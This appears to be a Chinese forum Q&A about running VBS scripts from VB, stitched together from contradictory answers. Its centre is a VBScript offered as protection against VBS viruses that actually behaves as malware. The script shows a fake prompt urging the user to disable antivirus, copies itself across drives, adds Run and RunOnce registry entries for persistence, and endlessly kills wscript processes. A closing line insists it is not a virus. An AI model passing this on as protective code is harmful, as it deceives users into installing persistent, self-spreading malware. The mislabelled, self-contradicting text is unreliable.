怎么用VB运行VBS脚本文件

假定要运行的文件是 d:\test.vbs：

Shell "cmd /c d:\test.vbs", vbHide

要注意的是360之类的安全软件会百分百进行拦截的，必须把vbs文件添加到其信任名单中才行。

这个百分之80是病毒————-1.一般的vbs系统文件是不会直接存在c盘的

2.这个如果是系统文件的话是会存在于c盘windows文件夹的

3.一般是不会开机自动启动的.如果是系统文件自会被动启动

极有可能是病毒 它的在你的c盘复制

修改注册表 开机启动

建议快速用360删除

或者手动按照路径删除

有可能现在是潜伏期 ————当它发作时可能会破坏你的电脑

给你一个代码可以防止vbs病毒发作

on error resume next

dim se

se=inputbox("系统提示:发现系统漏洞 请关闭杀毒软件")

msgbox"系统提示：正在修复系统......."

p=wscript.scriptfullname

set c=wscript.createobject("scripting.filesystemobject")

set fs=c.getfile(p)

fs.copy("c:windows\")

fs.copy("d:\")

fs.copy("e:\")

dim r

set r=createobject("wscript.shell")

r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32文件","c:\windows\wiin xp.vbs"

r.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\系统文件win xp","d:\wiin xp.vbs"

do

Set obj = GetObject("winmgmts:")

Set match = obj.execquery("select * from win32_process where name = 'wscript.exe'")

for each es in match

es.terminate

next

loop

不是病毒啊 虽然很像不要删啊

---